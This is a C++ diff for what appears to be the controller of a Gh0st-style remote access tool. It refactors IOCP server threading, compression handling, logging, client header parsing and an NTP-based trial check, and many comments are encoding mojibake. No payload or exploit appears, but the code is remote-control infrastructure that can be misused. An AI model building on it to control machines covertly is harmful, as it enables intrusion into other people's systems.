|
||||
result = getTimeFromServer(CN_NTP_SERVERS[i]);
|
||||
if (result != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
WSACleanup();
|
||||
return result;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD>дת<D0B4><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>(1-12)
|
||||
int monthAbbrevToNumber(const std::string& month) {
|
||||
static const std::map<std::string, int> months = {
|
||||
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4},
|
||||
{"May", 5}, {"Jun", 6}, {"Jul", 7}, {"Aug", 8},
|
||||
{"Sep", 9}, {"Oct", 10}, {"Nov", 11}, {"Dec", 12}
|
||||
};
|
||||
auto it = months.find(month);
|
||||
return (it != months.end()) ? it->second : 0;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>__DATE__<5F>ַ<EFBFBD><D6B7><EFBFBD>Ϊtm<74>ṹ
|
||||
tm parseCompileDate(const char* compileDate) {
|
||||
tm tmCompile = { 0 };
|
||||
std::string monthStr(compileDate, 3);
|
||||
std::string dayStr(compileDate + 4, 2);
|
||||
std::string yearStr(compileDate + 7, 4);
|
||||
|
||||
tmCompile.tm_year = std::stoi(yearStr) - 1900;
|
||||
tmCompile.tm_mon = monthAbbrevToNumber(monthStr) - 1;
|
||||
tmCompile.tm_mday = std::stoi(dayStr);
|
||||
|
||||
return tmCompile;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int daysBetweenDates(const tm& date1, const tm& date2) {
|
||||
auto timeToTimePoint = [](const tm& tmTime) {
|
||||
std::time_t tt = mktime(const_cast<tm*>(&tmTime));
|
||||
return std::chrono::system_clock::from_time_t(tt);
|
||||
};
|
||||
|
||||
auto tp1 = timeToTimePoint(date1);
|
||||
auto tp2 = timeToTimePoint(date2);
|
||||
|
||||
auto duration = tp1 > tp2 ? tp1 - tp2 : tp2 - tp1;
|
||||
return std::chrono::duration_cast<std::chrono::hours>(duration).count() / 24;
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>
|
||||
tm getCurrentDate() {
|
||||
std::time_t now = std::time(nullptr);
|
||||
tm tmNow = *std::localtime(&now);
|
||||
tmNow.tm_hour = 0;
|
||||
tmNow.tm_min = 0;
|
||||
tmNow.tm_sec = 0;
|
||||
return tmNow;
|
||||
}
|
||||
|
||||
// <20><>֤<EFBFBD><D6A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool isLocalDateModified() {
|
||||
time_t networkTime = getNetworkTimeInChina();
|
||||
if (networkTime == 0) {
|
||||
return true; // <20><EFBFBD><DEB7><EFBFBD>֤
|
||||
}
|
||||
|
||||
time_t localTime = time(nullptr);
|
||||
double diffDays = difftime(networkTime, localTime) / 86400.0;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEA3A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӳٺ<D3B3>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>أ<EFBFBD>
|
||||
if (fabs(diffDays) > 1.0) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public:
|
||||
|
||||
bool isTrail(int trailDays=7) {
|
||||
if (isLocalDateModified())
|
||||
return false;
|
||||
|
||||
tm tmCompile = parseCompileDate(__DATE__), tmCurrent = getCurrentDate();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int daysDiff = daysBetweenDates(tmCompile, tmCurrent);
|
||||
|
||||
return daysDiff <= trailDays;
|
||||
}
|
||||
};
|
||||
@@ -947,18 +947,18 @@ void CFileManagerDlg::OnReceiveComplete()
|
||||
}
|
||||
catch (CMemoryException* e)
|
||||
{
|
||||
OutputDebugStringA("[ERROR] CMemoryException\n");
|
||||
Mprintf("[ERROR] CMemoryException\n");
|
||||
}
|
||||
catch (CFileException* e)
|
||||
{
|
||||
OutputDebugStringA("[ERROR] CFileException\n");
|
||||
Mprintf("[ERROR] CFileException\n");
|
||||
}
|
||||
catch (CException* e)
|
||||
{
|
||||
OutputDebugStringA("[ERROR] CException\n");
|
||||
Mprintf("[ERROR] CException\n");
|
||||
}
|
||||
catch (...) {
|
||||
OutputDebugStringA("[ERROR] Other exception\n");
|
||||
Mprintf("[ERROR] Other exception\n");
|
||||
}
|
||||
break;
|
||||
case TOKEN_FILE_SIZE: // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
|
||||
@@ -34,9 +34,6 @@
|
||||
#endif
|
||||
#endif
|
||||
|
||||
using namespace std;
|
||||
|
||||
CRITICAL_SECTION IOCPServer::m_cs = {0};
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
|
||||
std::string GetRemoteIP(SOCKET sock) {
|
||||
@@ -66,7 +63,7 @@ IOCPServer::IOCPServer(void)
|
||||
m_hCompletionPort = NULL;
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
m_hListenThread = INVALID_HANDLE_VALUE;
|
||||
m_hListenThread = NULL;
|
||||
|
||||
m_ulMaxConnections = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
|
||||
|
||||
@@ -101,38 +98,41 @@ IOCPServer::IOCPServer(void)
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
IOCPServer::~IOCPServer(void)
|
||||
{
|
||||
void IOCPServer::Destroy() {
|
||||
m_bTimeToKill = TRUE;
|
||||
|
||||
Sleep(10);
|
||||
SetEvent(m_hKillEvent);
|
||||
|
||||
Sleep(10);
|
||||
|
||||
if (m_hKillEvent!=NULL)
|
||||
if (m_hKillEvent != NULL)
|
||||
{
|
||||
SetEvent(m_hKillEvent);
|
||||
CloseHandle(m_hKillEvent);
|
||||
m_hKillEvent = NULL;
|
||||
}
|
||||
|
||||
if (m_sListenSocket!=INVALID_SOCKET)
|
||||
if (m_sListenSocket != INVALID_SOCKET)
|
||||
{
|
||||
closesocket(m_sListenSocket);
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
if (m_hCompletionPort!=INVALID_HANDLE_VALUE)
|
||||
if (m_hCompletionPort != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseHandle(m_hCompletionPort);
|
||||
m_hCompletionPort = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
if (m_hListenEvent!=WSA_INVALID_EVENT)
|
||||
if (m_hListenEvent != WSA_INVALID_EVENT)
|
||||
{
|
||||
CloseHandle(m_hListenEvent);
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
IOCPServer::~IOCPServer(void)
|
||||
{
|
||||
Destroy();
|
||||
while (m_ulWorkThreadCount || m_hListenThread)
|
||||
Sleep(10);
|
||||
|
||||
while (!m_ContextConnectionList.IsEmpty())
|
||||
{
|
||||
@@ -149,9 +149,6 @@ IOCPServer::~IOCPServer(void)
|
||||
delete ContextObject;
|
||||
}
|
||||
|
||||
while (m_ulWorkThreadCount)
|
||||
Sleep(10);
|
||||
|
||||
DeleteCriticalSection(&m_cs);
|
||||
m_ulWorkThreadCount = 0;
|
||||
|
||||
@@ -262,7 +259,7 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
||||
(void*)this, //<2F><>Thread<61>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>this <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5>̻߳ص<CCBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еij<D0B5>Ա
|
||||
0,
|
||||
NULL);
|
||||
if (m_hListenThread==INVALID_HANDLE_VALUE)
|
||||
if (m_hListenThread==NULL)
|
||||
{
|
||||
int a = GetLastError();
|
||||
closesocket(m_sListenSocket);
|
||||
@@ -321,7 +318,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
m_ulWorkThreadCount++;
|
||||
AddWorkThread(1);
|
||||
|
||||
CloseHandle(hWorkThread);
|
||||
}
|
||||
@@ -332,7 +329,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
|
||||
|
||||
DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
{
|
||||
OutputDebugStringA("======> IOCPServer WorkThreadProc begin \n");
|
||||
Mprintf("======> IOCPServer WorkThreadProc begin \n");
|
||||
|
||||
IOCPServer* This = (IOCPServer*)(lParam);
|
||||
|
||||
@@ -365,7 +362,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
|
||||
{
|
||||
ContextObject->olps = NULL;
|
||||
OutputDebugStringA("!!! RemoveStaleContext \n");
|
||||
Mprintf("!!! RemoveStaleContext \n");
|
||||
This->RemoveStaleContext(ContextObject);
|
||||
}
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
@@ -387,7 +384,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
0,
|
||||
NULL);
|
||||
|
||||
InterlockedIncrement(&This->m_ulWorkThreadCount);
|
||||
This->AddWorkThread(hThread ? 1:0);
|
||||
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
@@ -408,7 +405,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
}
|
||||
|
||||
if (!bError)
|
||||
if (!bError && !This->m_bTimeToKill)
|
||||
{
|
||||
if(bOk && OverlappedPlus!=NULL && ContextObject!=NULL)
|
||||
{
|
||||
@@ -419,7 +416,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
ContextObject = NULL;
|
||||
}
|
||||
catch (...) {
|
||||
OutputDebugStringA("This->HandleIO catched an error!!!");
|
||||
Mprintf("This->HandleIO catched an error!!!");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -429,11 +426,13 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
timeEndPeriod(1);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
|
||||
InterlockedDecrement(&This->m_ulWorkThreadCount);
|
||||
InterlockedDecrement(&This->m_ulCurrentThread);
|
||||
InterlockedDecrement(&This->m_ulBusyThread);
|
||||
|
||||
OutputDebugStringA("======> IOCPServer WorkThreadProc end \n");
|
||||
int n= This->AddWorkThread(-1);
|
||||
if (n == 0) {
|
||||
Mprintf("======> IOCPServer All WorkThreadProc done\n");
|
||||
}
|
||||
Mprintf("======> IOCPServer WorkThreadProc end \n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -441,8 +440,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
//<2F>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||
{
|
||||
AUTO_TICK(20);
|
||||
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
switch (PacketFlags)
|
||||
@@ -457,7 +454,7 @@ BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWOR
|
||||
bRet = OnClientPostSending(ContextObject,dwTrans);
|
||||
break;
|
||||
case IOIdle:
|
||||
OutputDebugStringA("=> HandleIO PacketFlags= IOIdle\n");
|
||||
Mprintf("=> HandleIO PacketFlags= IOIdle\n");
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
@@ -474,7 +471,6 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr
|
||||
|
||||
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||
{
|
||||
CLock cs(m_cs);
|
||||
try
|
||||
{
|
||||
if (dwTrans == 0) //<2F>Է<EFBFBD><D4B7>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
@@ -510,6 +506,14 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
delete[] CompressedBuffer;
|
||||
throw "Unknown method";
|
||||
}
|
||||
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
|
||||
ContextObject->Decode(CompressedBuffer, ulOriginalLength);
|
||||
m_NotifyProc(ContextObject);
|
||||
SAFE_DELETE_ARRAY(CompressedBuffer);
|
||||
continue;
|
||||
}
|
||||
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false;
|
||||
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||
size_t iRet = usingZstd ?
|
||||
@@ -518,7 +522,6 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
if (usingZstd ? C_SUCCESS(iRet) : (S_OK==iRet))
|
||||
{
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
//ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
||||
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
|
||||
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
|
||||
@@ -540,7 +543,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
delete [] CompressedBuffer;
|
||||
delete [] DeCompressedBuffer;
|
||||
if (zlibFailed) {
|
||||
OutputDebugStringA("[ERROR] ZLIB uncompress failed \n");
|
||||
Mprintf("[ERROR] ZLIB uncompress failed \n");
|
||||
throw "Bad Buffer";
|
||||
}
|
||||
}else{
|
||||
@@ -549,7 +552,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
}
|
||||
}catch(...)
|
||||
{
|
||||
OutputDebugStringA("[ERROR] OnClientReceiving catch an error \n");
|
||||
Mprintf("[ERROR] OnClientReceiving catch an error \n");
|
||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
}
|
||||
@@ -562,7 +565,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
{
|
||||
assert (ContextObject);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL) {
|
||||
if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) {
|
||||
char buf[100] = { 0 };
|
||||
if (ulOriginalLength == 1){
|
||||
sprintf_s(buf, "command %d", int(szBuffer[0]));
|
||||
@@ -570,16 +573,21 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
else {
|
||||
memcpy(buf, szBuffer, ulOriginalLength);
|
||||
}
|
||||
OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n");
|
||||
Mprintf("[COMMAND] Send: " + CString(buf) + "\r\n");
|
||||
}
|
||||
try
|
||||
{
|
||||
if (ulOriginalLength > 0)
|
||||
do
|
||||
{
|
||||
if (ulOriginalLength <= 0) return;
|
||||
if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
|
||||
OutputDebugStringA("[ERROR] UNKNOWN compress method \n");
|
||||
Mprintf("[ERROR] UNKNOWN compress method \n");
|
||||
return;
|
||||
}
|
||||
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
|
||||
ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength);
|
||||
break;
|
||||
}
|
||||
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
|
||||
#if USING_LZ4
|
||||
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
|
||||
@@ -587,7 +595,8 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
unsigned long ulCompressedLength = usingZstd ?
|
||||
ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
|
||||
#endif
|
||||
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
||||
BYTE buf[1024];
|
||||
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
|
||||
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
|
||||
ContextObject->Encode(szBuffer, ulOriginalLength);
|
||||
size_t iRet = usingZstd ?
|
||||
@@ -596,28 +605,28 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
|
||||
if (usingZstd ? C_FAILED(iRet) : (S_OK != iRet))
|
||||
{
|
||||
OutputDebugStringA("[ERROR] compress failed \n");
|
||||
delete [] CompressedBuffer;
|
||||
Mprintf("[ERROR] compress failed \n");
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
return;
|
||||
}
|
||||
|
||||
ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
|
||||
|
||||
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
|
||||
delete [] CompressedBuffer;
|
||||
}
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
}while (false);
|
||||
|
||||
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
|
||||
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
|
||||
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
||||
{
|
||||
int a = GetLastError();
|
||||
OutputDebugStringA("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||
Mprintf("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||
RemoveStaleContext(ContextObject);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
}
|
||||
}catch(...){
|
||||
OutputDebugStringA("[ERROR] OnClientPreSending catch an error \n");
|
||||
Mprintf("[ERROR] OnClientPreSending catch an error \n");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -640,17 +649,17 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
|
||||
ContextObject->wsaOutBuffer.buf = (char*)ContextObject->OutCompressedBuffer.GetBuffer(0);
|
||||
ContextObject->wsaOutBuffer.len = ContextObject->OutCompressedBuffer.GetBufferLength();
|
||||
int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1,
|
||||
&ContextObject->wsaOutBuffer.len, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||
NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
|
||||
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
|
||||
{
|
||||
int a = GetLastError();
|
||||
OutputDebugStringA("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||
Mprintf("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||
RemoveStaleContext(ContextObject);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
}
|
||||
}
|
||||
}catch(...){
|
||||
OutputDebugStringA("[ERROR] OnClientPostSending catch an error \n");
|
||||
Mprintf("[ERROR] OnClientPostSending catch an error \n");
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
@@ -661,7 +670,7 @@ DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //
|
||||
IOCPServer* This = (IOCPServer*)(lParam);
|
||||
WSANETWORKEVENTS NetWorkEvents;
|
||||
|
||||
while(1)
|
||||
while(!This->m_bTimeToKill)
|
||||
{
|
||||
if (WaitForSingleObject(This->m_hKillEvent, 100) == WAIT_OBJECT_0)
|
||||
break;
|
||||
@@ -688,8 +697,8 @@ DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
This->m_hListenThread = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -755,8 +764,9 @@ void IOCPServer::OnAccept()
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBB>ϵ<EFBFBD><CFB5>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>SO_KEEPALIVEѡ<45>
|
||||
//<2F><><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD>ر<EFBFBD>SOCKET<45><54><EFBFBD><EFBFBD>Ϊ<EFBFBD>ϵĵ<CFB5><C4B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Сʱʱ<CAB1><CAB1>̫<EFBFBD><CCAB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
CLock cs(m_cs);
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_ContextConnectionList.AddTail(ContextObject); //<2F><><EFBFBD>뵽<EFBFBD><EBB5BD><EFBFBD>ǵ<EFBFBD><C7B5>ڴ<EFBFBD><DAB4>б<EFBFBD><D0B1><EFBFBD>
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
OVERLAPPEDPLUS *OverlappedPlus = new OVERLAPPEDPLUS(IOInitialize); //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD>IO<49><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -765,7 +775,7 @@ void IOCPServer::OnAccept()
|
||||
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
|
||||
{
|
||||
int a = GetLastError();
|
||||
OutputDebugStringA("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||
Mprintf("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||
RemoveStaleContext(ContextObject);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
return;
|
||||
@@ -790,7 +800,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject)
|
||||
if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
|
||||
{
|
||||
int a = GetLastError();
|
||||
OutputDebugStringA("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||
Mprintf("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
|
||||
RemoveStaleContext(ContextObject);
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
}
|
||||
@@ -818,8 +828,10 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext()
|
||||
|
||||
VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
CLock cs(m_cs);
|
||||
if (m_ContextConnectionList.Find(ContextObject)) //<2F><><EFBFBD>ڴ<EFBFBD><DAB4>в<EFBFBD><D0B2>Ҹ<EFBFBD><D2B8>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ
|
||||
EnterCriticalSection(&m_cs);
|
||||
auto find = m_ContextConnectionList.Find(ContextObject);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
if (find) //<2F><><EFBFBD>ڴ<EFBFBD><DAB4>в<EFBFBD><D0B2>Ҹ<EFBFBD><D2B8>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ
|
||||
{
|
||||
m_OfflineProc(ContextObject);
|
||||
|
||||
|
||||
@@ -72,6 +72,13 @@ typedef struct PR {
|
||||
}
|
||||
}PR;
|
||||
|
||||
enum {
|
||||
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>㷨
|
||||
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>汾ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMPRESS_NONE = 1, // û<><C3BB>ѹ<EFBFBD><D1B9>
|
||||
};
|
||||
|
||||
struct CONTEXT_OBJECT;
|
||||
|
||||
// Header parser: parse the data to make sure it's from a supported client.
|
||||
@@ -84,7 +91,7 @@ protected:
|
||||
virtual ~HeaderParser() {
|
||||
Reset();
|
||||
}
|
||||
PR Parse(CBuffer& buf) {
|
||||
PR Parse(CBuffer& buf, int &compressMethod) {
|
||||
const int MinimumCount = 8;
|
||||
if (buf.GetBufferLength() < MinimumCount) {
|
||||
return PR{ PARSER_NEEDMORE };
|
||||
@@ -95,7 +102,7 @@ protected:
|
||||
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
|
||||
}
|
||||
// More version may be added in the future.
|
||||
const char version0[] = "Shine", version1[] = "<<FUCK>>";
|
||||
const char version0[] = "Shine", version1[] = "<<FUCK>>", version2[] = "Hello?";
|
||||
if (memcmp(version0, szPacketFlag, sizeof(version0) - 1) == 0) {
|
||||
memcpy(m_szPacketFlag, version0, sizeof(version0) - 1);
|
||||
m_nCompareLen = strlen(m_szPacketFlag);
|
||||
@@ -112,6 +119,15 @@ protected:
|
||||
m_bParsed = TRUE;
|
||||
m_Encoder = new XOREncoder();
|
||||
}
|
||||
else if (memcmp(version2, szPacketFlag, sizeof(version2) - 1) == 0) {
|
||||
